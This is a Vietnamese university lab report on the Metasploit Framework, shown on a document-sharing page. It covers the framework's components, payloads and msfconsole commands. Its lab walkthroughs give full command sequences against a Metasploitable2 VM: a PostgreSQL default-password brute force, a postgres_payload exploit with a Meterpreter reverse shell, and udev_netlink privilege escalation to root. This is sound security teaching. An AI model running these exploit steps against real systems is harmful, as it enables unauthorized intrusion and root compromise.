1. Trang chủ
  2. » Giáo Dục - Đào Tạo

Học phần: An toàn mạng Bài báo cáo: Metasploit

33 47 1

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Metasploit
Tác giả Nguyễn Thanh Hải
Người hướng dẫn TS. Đặng Minh Tuấn
Trường học Học viện Công nghệ Bưu chính Viễn thông
Chuyên ngành An toàn mạng
Thể loại bài báo cáo
Năm xuất bản 2021
Thành phố Hà Nội
Định dạng
Số trang 33
Dung lượng 2,62 MB

Cấu trúc

  • Chương 1: Tổng quan về Metasploit (4)
    • 1.1 Metasploit là gì? (4)
    • 1.2 Các thành phần của Metasploit (5)
    • 1.3 Tính năng (5)
  • Chương 2: Cấu trúc của Metasploit (6)
    • 2.1 Payload (9)
    • 2.2. Meterpreter (9)
  • Chương 3: Quy trình kiểm thử cơ bản trên Metasploit (10)
    • 3.1 Các câu lệnh được sử dụng trong msfconsole (10)
    • 3.2 Quy trình kiểm thử (11)
    • 3.3 Các bước để khai thác một mục tiêu (12)
  • Chương 4: Các bài lab, kịch bản demo (14)
    • 4.1 Chuẩn bị (14)
      • 4.1.1 Cài đặt Metasploitable2 làm máy victim (14)
      • 4.1.2 Kiểm tra và cài đặt các NSE scripts cho nmap\ (17)
      • 4.1.3 Quét máy victim Metasploitable2 tìm các lỗ hổng tồn tại sử dụng (19)
    • 4.2 Bài lab 1: Khai thác lỗi đăng nhập trên PostgreSQL, cổng 5432 (23)
    • 4.3 Bài lab 2: Khai thác lỗi trên PostgreSQL cho phép mở shell chạy với quyền root (0)
  • KẾT LUẬN (32)
  • TÀI LIỆU THAM KHẢO (33)

Nội dung

Tổng quan về Metasploit

Metasploit là gì?

Metasploit Framework, ra đời vào năm 2003 bởi tác giả H D Moore, là một dự án bảo mật máy tính giúp tổng hợp và cung cấp thông tin về các lỗ hổng bảo mật, đồng thời hỗ trợ khai thác chúng Dự án này tập trung vào việc triển khai nhanh các bước khai thác lỗ hổng và phát triển hệ thống phát hiện xâm nhập Ban đầu, Metasploit được viết bằng ngôn ngữ Perl, với các thành phần chính bằng C và Python, nhưng sau đó đã được viết lại bằng Ruby Năm 2009, Metasploit tiếp tục phát triển và trở thành một công cụ quan trọng trong lĩnh vực an ninh mạng.

Metasploit được Rapid7 – một công ty chuyên về bảo mật mua lại

Metasploit hiện có hai phiên bản: một phiên bản mã nguồn mở và một phiên bản chuyên nghiệp Giá cho một năm sử dụng phiên bản chuyên nghiệp cho một người lên đến một mức nhất định.

Metasploit là một kho chứa các đoạn code viết bằng Ruby, phục vụ cho việc kiểm tra bảo mật hệ thống và ứng dụng Những đoạn code này có khả năng thực hiện các tác vụ như tấn công, xâm nhập, leo thang đặc quyền, thu thập dữ liệu, quét lỗi, và chuyển dữ liệu giữa máy tấn công và máy nạn nhân Metasploit hỗ trợ nhiều nền tảng khác nhau, bao gồm thiết bị thông minh (Android, iOS), máy tính (Linux, Mac, Windows), và các thiết bị IoT.

Metasploit không được khuyến khích cài đặt trên các máy tính sử dụng cho mục đích hàng ngày vì nó chứa phần mềm nguy hiểm, có thể dẫn đến việc người dùng bị tấn công ngược lại Ngoài ra, các phần mềm diệt virus cũng xem Metasploit là một mối đe dọa và sẽ tự động xóa nó khi phát hiện.

Metasploit chỉ nên được sử dụng trên máy ảo hoặc máy chuyên dụng cho pentest, và nên chạy trên các hệ điều hành tùy biến cho mục đích này như Kali Linux, Parrot Linux hoặc Windows Commando.

Metasploit không chỉ là một công cụ kiểm định hệ thống mà còn giúp pentesters tiết kiệm thời gian trong việc phát hiện và khai thác các lỗ hổng chưa được vá trên hệ thống mục tiêu Điều này cho phép họ tập trung vào các vấn đề liên quan đến chính sách, kỹ thuật xã hội và các lỗ hổng zero day.

Các thành phần của Metasploit

Hỗ trợ giao diện người dùng với 2 dạng:

Giao diện console là một phương thức sử dụng dòng lệnh để cấu hình và kiểm tra, mang lại tốc độ nhanh chóng và tính linh hoạt cao hơn Để sử dụng, bạn có thể khởi động file msfconsole.bat.

• Web interface: Giao tiếp với người dùng thông qua giao diện web Sử dụng file msfweb.bat

Môi trường toàn cầu được thiết lập thông qua hai lệnh setg và unsetg, cho phép các tùy chọn gán tại đây có hiệu lực toàn cục, áp dụng cho tất cả các module khai thác.

Môi trường tạm thời được thiết lập thông qua hai lệnh set và unset, chỉ ảnh hưởng đến module khai thác đang được tải hiện tại, mà không tác động đến các module khai thác khác.

Để tiết kiệm thời gian cấu hình cho các module exploits, bạn nên thiết lập các thành phần giống nhau như LPORT, LHOST, và PAYLOAD ở chế độ Global Environment Việc này giúp tránh việc phải cấu hình lại nhiều lần cho từng module khác nhau.

Ví dụ: msf> setg LPORT 80 msf> setg LHOST 172.16.8.2

Tính năng

- Quét cổng để xác định các dịch vụ đang hoạt động trên server

- Xác định các lỗ hổng dựa trên phiên bản của hệ điều hành và phiên bản các phần mềm cài đặt trên hệ điều hành đó

- Thử nghiệm khai thác các lỗ hổng đã được xác định

Cấu trúc của Metasploit

Payload

Một payload trong Metasploit-Framework được ánh xạ bởi module khai thác và chứa mã sẽ được thực thi trên mục tiêu khi tấn công Những payload này có tính linh hoạt cao và giá trị sử dụng lớn trong nhiều kịch bản tấn công khác nhau.

Các payload độc lập này hoàn toàn khép kín và có khả năng hoạt động mà không cần kết nối với bất kỳ hệ thống nào Chúng thường được sử dụng để thực hiện những tác vụ đơn giản, chẳng hạn như thêm người dùng vào hệ thống của mục tiêu hoặc mở một chương trình cụ thể trên thiết bị bị tấn công Những payload này thường chỉ được thực thi một lần duy nhất.

Stagers là một loại payload có khả năng thiết lập kết nối mạng giữa kẻ tấn công và mục tiêu, được tối ưu hóa để đảm bảo tính nhỏ gọn và xác thực khả năng tấn công Bên cạnh đó, nó còn được thiết kế để tải xuống các payload "Stages" nhằm thực hiện các bước tấn công tiếp theo.

Stages: Đây là các payload được tải xuống bới “stagers” Nó có kích thước lớn, thiết kế với nhiều tùy chọn, chức năng khác nhau.

Meterpreter

Payload nâng cao trong Metasploit-Framework được thiết kế để cung cấp các tập lệnh phục vụ cho việc khai thác và tấn công mục tiêu Nó được phát triển dưới dạng thư viện liên kết động (DLL) files.

Meterpreter và các thành phần mở rộng của nó hoạt động hoàn toàn trong bộ nhớ mà không ghi lên đĩa, giúp chúng tránh khỏi sự phát hiện của phần mềm chống virus.

Meterpreter cung cấp một tập lệnh để người sử dụng có thể khai tháctrên mục tiêu:

Fs: Cho phép tải lên và tải xuống các tệp từ máy bị tấn công

Net: Cho phép xem thông tin mạng của máy bị tấn công như IP, bảng định tuyến (route table)

Process: Cho phép tạo các chương trình chạy mới trên máy bị tấncông

Sys: Cho phép xem thông tin hệ thống của máy bị tấn công

Quy trình kiểm thử cơ bản trên Metasploit

Các câu lệnh được sử dụng trong msfconsole

- Back: Lệnh này dùng khi bạn muốn thoát ra khỏi module bạn đã chọn trước đó sau khi hoàn thành công việc hoặc muốn chuyển sang công việc khác

Ví dụ: msf payload(reverse http) > back msf>

Lệnh "Check" cho phép người dùng xác nhận xem cấu hình khai thác đã được thiết lập chính xác và hoàn tất hay chưa, đồng thời cung cấp kết quả mà không cần thực hiện khai thác Tuy nhiên, cần lưu ý rằng không phải tất cả các mã khai thác đều hỗ trợ lệnh này.

Lệnh Connect trong Metasploit tương tự như một phiên bản thu nhỏ của netcat, được hỗ trợ bởi SSL, proxy và khả năng pivoting Bằng cách sử dụng lệnh này với địa chỉ IP và cổng tương ứng, người dùng có thể kết nối đến một host từ Metasploit, giống như khi sử dụng netcat hoặc telnet.

Lệnh này cung cấp thông tin chi tiết về một module hoặc mã khai thác cụ thể, hiển thị các thông tin cơ bản và các tùy chọn cần thiết.

- Irb: Lệnh này cho ta thao tác trên môi trường của ruby Ví dụ: msf > irb –h

- Jobs: Lệnh này cho ta biết các module đang chạy

- Load: Lệnh này để load một plugin từ metasploit plugins

The "search" command is essential for locating exploits, auxiliaries, and encoders, and it enhances search capabilities through various keywords such as name, path, platform, port, type, app, author, cve, bid, osvdb, and edb For example, using the command "search cve:2009 type:exploit app:client" allows users to refine their search results effectively.

- Sessions: lệnh này liệt kê các session đang tồn tại, session ở đây có thể là session của shell, của meterpreter

- Set - Unset: Lệnh cho phép ta cấu hình cho các exploit lệnh này gặp thường xuyên Unset là lệnh có ý nghĩa ngược lại

- Setg - Unsetg: Trong quá trình thực hiện tấn công một mục tiêu, hoặc nhiều mục tiêu

Ta có thể dùng một exploit hoặc đôi khi là nhiều exploit Có một vào option nếu set bình

Việc thiết lập các tùy chọn nhiều lần thường là cần thiết, nhưng nếu chúng ta áp dụng các tùy chọn này một cách toàn cục, việc lặp lại sẽ trở nên không cần thiết Điều này có nghĩa là các tùy chọn sẽ có hiệu lực cho tất cả các exploit và auxiliary Để thiết lập toàn cục, chúng ta sử dụng lệnh setg, và để hủy bỏ, ta dùng unsetg Nếu muốn lưu lại cấu hình này, hãy sử dụng lệnh "save".

- Show: Liệt kê các module hiện tại

- Use: Cho phép chọn một một module

Auxiliary là một module thiết yếu, cung cấp chức năng tăng cường cho các thử nghiệm xâm nhập và quét lỗ hổng, đồng thời hỗ trợ các tác vụ tự động Trong module auxiliary, có nhiều phân loại như module quét giao thức (SMB, HTTP), quét port, wireless, IPV6, cùng với các module phục vụ cho DOS, server và khai thác quyền truy cập quản trị.

- Exploits: Là một module dùng để khai thác các dịch vụ

Payloads là đoạn mã thực thi trên máy nạn nhân, nhằm thực hiện các hoạt động cụ thể hoặc kết nối với máy của kẻ tấn công Có hai phương pháp chính để cài đặt Payload trên máy nạn nhân: đầu tiên, kẻ tấn công khai thác lỗi hoặc lỗ hổng trong hệ thống của nạn nhân để gửi Payload; thứ hai, kẻ tấn công sử dụng kỹ thuật social engineering để gửi trực tiếp cho nạn nhân, chờ đợi họ vô tình mở nó.

- Targets: Cung cấp danh sách các mục tiêu phù hợp với module khai thác mà bạn chọn.

Quy trình kiểm thử

Bước đầu tiên trong quy trình tấn công là phát hiện và xác định các mục tiêu cần tấn công, đồng thời thu thập thông tin chi tiết về các mục tiêu đó Để thực hiện bước này, chúng ta chủ yếu sử dụng Module Auxiliary/Scanner và các công cụ quét mạng như Nmap đã được tích hợp sẵn.

Bước 2: Lựa chọn một mục tiêu vừa tìm được ở bước 1

Bước 3: Sử dụng thông tin từ Module Auxiliary để xác định các lỗ hổng và mã khai thác liên quan đến mục tiêu Tiến hành xác thực các lỗ hổng đã tồn tại trên các mục tiêu bằng cách áp dụng module Auxiliary.

Bước 4: Tiến hành thực hiện tấn công thông qua các mã khai thác

Bước 5: Tiến hành triển khai các mã độc và duy trì kết nối sau khi xâm nhập thành công Bước 6: Xóa vết

Quy trình trên có thể thay đổi tùy thuộc vào mục tiêu trong thực tế

Metasploit Framework không chỉ cung cấp các module khai thác có sẵn, mà còn cho phép người dùng tự tạo mã khai thác thông qua API mạnh mẽ của nó.

Các bước để khai thác một mục tiêu

Lựa chọn chương trình, dịch vụ lỗi mà Metasploit có hỗ trợ để khai thác

• show exploits: Xem các module exploit mà framework có hỗ trợ

• use exploit_name: Chọn module exploit

• info exploit_name: Xem thông tin về module exploit

Bạn nên cập nhật thường xuyên các lỗi dịch vụ trên metasploit.com hoặc qua script msfupdate.bat

Bước 2: Cấu hình module exploit đã chọn:

• show options: Xác định những options nào cần cấu hình

• set: Cấu hình cho những option của module đó

Một vài module còn có những advanced options, bạn có thể xem bằng cách gõ dòng lệnh show advanceds

Bước 3: Xác nhận những option vừa cấu hình:

• check: Kiểm tra xem những option đã được set chính xác chưa

Bước 4: Lựa chọn mục tiêu:

Lựa chọn hệ diều hành muốn thực hiện

• show targets: những target được cung cấp bởi module đó

• set: xác định target nào

Ví dụ: smf> use windows_ssl_pct show targets

Exploit sẽ liệt kê ra những target như: winxp, winxp SP1, win2000, win2000 SP1

Payload là đoạn code mà sẽ chạy trên hệ thống máy tính được điều khiển từ xa

• show payloads: Liệt kê ra những payload của module exploit hiện tại

• info payload_name: Xem thông tin chi tiết về payload đó

• set PAYLOAD payload_name: Xác định payload module name.Sau khi lựa chọn payload nào, dùng lệnh show option để xem những option của payload đó

• show advanced: Xem những advanced option của payload đó

• exploit: Lệnh dùng để thực thi payload code Payload sau đó sẽ cung cấp cho bạn những thông tin về hệ thống được khai thác

Note: Trước khi khởi động Metasploit, trên Kali Linux, chúng ta cần phải chạy

PostgreSQL database trước. kali@kali:~$ sudo su root@kali:~# systemctl start postgresql root@kali:~# msfdb init

Metasploit sử dụng cơ sở dữ liệu PostgreSQL để tự động lưu trữ kết quả trong quá trình pentest, đặc biệt là khi thực hiện kiểm tra trên những hệ thống lớn và phức tạp Việc này rất quan trọng vì quá trình quét có thể kéo dài vài ngày và tạo ra lượng dữ liệu khổng lồ Nếu không được lưu trữ và sắp xếp hợp lý, bạn có thể dễ dàng bỏ lỡ thông tin quan trọng Nhờ vào sự tích hợp của PostgreSQL, Metasploit có khả năng tự động ghi lại các kết quả như thông tin mục tiêu và nhật ký hệ thống, giúp bạn quản lý dữ liệu hiệu quả hơn trong quá trình kiểm tra bảo mật.

Các bài lab, kịch bản demo

Chuẩn bị

4.1.1Cài đặt Metasploitable2 làm máy victim

• Tìm địa chỉ IP máy victim: ifconfig Inet addr: 192.168.117.130

• Kiểm tra kết nối giữa máy victim và Kali

4.1.2 Kiểm tra và cài đặt các NSE scripts cho nmap\

- Kiểm tra các NSE scripts có sẵn cho nmap: cd /usr/share/nmap/scripts ls

- Cài đặt CSDL nmap-vulners: sudo git clone https://github.com/vulnersCom/nmap-vulners.git ls nmap-vulners

- Cài đặt CSDL vulscan: sudo git clone https://github.com/scipag/vulscan.git ls vulscan

4.1.3 Quét máy victim Metasploitable2 tìm các lỗ hổng tồn tại sử dụng NSE script với nmap

Sử dụng công cụ nmap với NSE script để rà quét các lỗ hổng tồn tại trên máy chạy Metasploitable2 nmap script=vulscan/vulscan.nse -sV -p21 192.168.117.130

20 nmap script=vulscan/vulscan.nse -sV -p22 192.168.117.130

21 nmap script=vulscan/vulscan.nse -sV -p139 192.168.117.130

22 nmap script=vulscan/vulscan.nse -sV -p5432 192.168.117.130

Bài lab 1: Khai thác lỗi đăng nhập trên PostgreSQL, cổng 5432

- Khai báo sử dụng mô đun tấn công: msf > use auxiliary/scanner/postgres/postgres_login

- Chạy lệnh “show options” để xem các thông tin về mô đun tấn công đang sử dụng

- Đặt địa chỉ IP máy victim: msf > set RHOST 192.168.117.130

- Đặt địa tham số dừng: msf> set STOP_ON_SUCCESS true

- Thực thi tấn công: msf > run

➔ Như vậy, sau 1 số lần thử, máy victim đã thông báo kết nối thành công đến

CSDL trong PostgreSQL sử dụng tài khoản với mật khẩu ngầm định

Login Successful: postgres:postgres@template1

- Gõ lệnh exit để kết thúc

4.3 Bài lab 2: Khai thác lỗi trên PostgreSQL (cổng 5432)cho phép mở shell chạy với quyền root:

- Khai báo sử dụng mô đun postgres_payload để tạo 1 phiên kết nối đến CSDL: msf > use exploit/linux/postgres/postgres_payload

- Chạy lệnh “show options” để xem các thông tin về mô đun tấn công đang sử dụng

- Chọn payload cho thực thi: msf > set payload linux/x86/meterpreter/reverse_tcp

- Đặt địa chỉ IP máy victim: msf > set RHOST 192.168.117.130

- Đặt địa chỉ IP máy tấn công: msf > set LHOST 192.168.117.129

- Đặt mật khẩu cho CSDL: msf > set PASSWORD postgres

- Thực thi tấn công: msf > exploit

➔ Tạo được 1 phiên kết nối đến CSDL

- Chuyển phiên kết nối sang chế độ chạy ngầm sử dụng lệnh “background”: meterpreter > background

- Đặt mô đun khai thác để mở shell: msf > use exploit/linux/local/udev_netlink

- Chọn payload cho thực thi: msf > set payload linux/x86/shell_reverse_tcp

- Chạy lệnh “show options” để xem các thông tin về mô đun tấn công đang sử dụng

- Kết nối đến phiên CSDL đang chạy ngầm: msf > set SESSION 1

- Thực thi tấn công: msf > exploit

- Chạy các lệnh để đọc tên người dùng và máy victim khai thác thành công: whoami root uname -a

Linux B18DCAT072-NguyenThanhHai 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

- Gõ lệnh exit và sau đó exit -y lần để kết thúc.

Ngày đăng: 09/02/2022, 13:24

Nguồn tham khảo

Tài liệu tham khảo Loại Chi tiết
[2] Wikipedia, “Metasploit Project.” [Online]. Available: https://en.wikipedia.org/wiki/Metasploit_Project [Accessed: 16-Dec-2021] Sách, tạp chí
Tiêu đề: Metasploit Project
[3] Offensive Security, “METASPLOIT UNLEASHED – FREE ETHICAL HACKING COURSE” [Online]. Available: https://www.offensive-security.com/metasploit-unleashed/ [Accessed: 15-Mar-2015] Sách, tạp chí
Tiêu đề: METASPLOIT UNLEASHED – FREE ETHICAL HACKING COURSE
[4] Network Sercurity, “Giới thiệu Metasploit Framework” [Online]. Available:https://tuhocnetworksecurity.business.blog/2021/01/12/kali-linux-can-ban-bai-3-gioi-thieu-metasploit/ [Accessed: 12-Jan-2021] Sách, tạp chí
Tiêu đề: Giới thiệu Metasploit Framework
[5] Whitehat, “Giới thiệu công cụ Metasploit Framework” [Online]. Available:https://whitehat.vn/threads/gioi-thieu-cong-cu-metasploit-framework.4203/[Accessed: 12-Feb-2015] Sách, tạp chí
Tiêu đề: Giới thiệu công cụ Metasploit Framework
[6] Github, “Metasploit-Framework” [Online]. Available:https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md [Accessed: 14-Jan-2017] Sách, tạp chí
Tiêu đề: Metasploit-Framework
[7] Kali, “Contributing to Metasploit” [Online]. Available:https://www.kali.org/tools/metasploit-framework/ [Accessed: 26-Jan-2021] Sách, tạp chí
Tiêu đề: Contributing to Metasploit

TỪ KHÓA LIÊN QUAN

w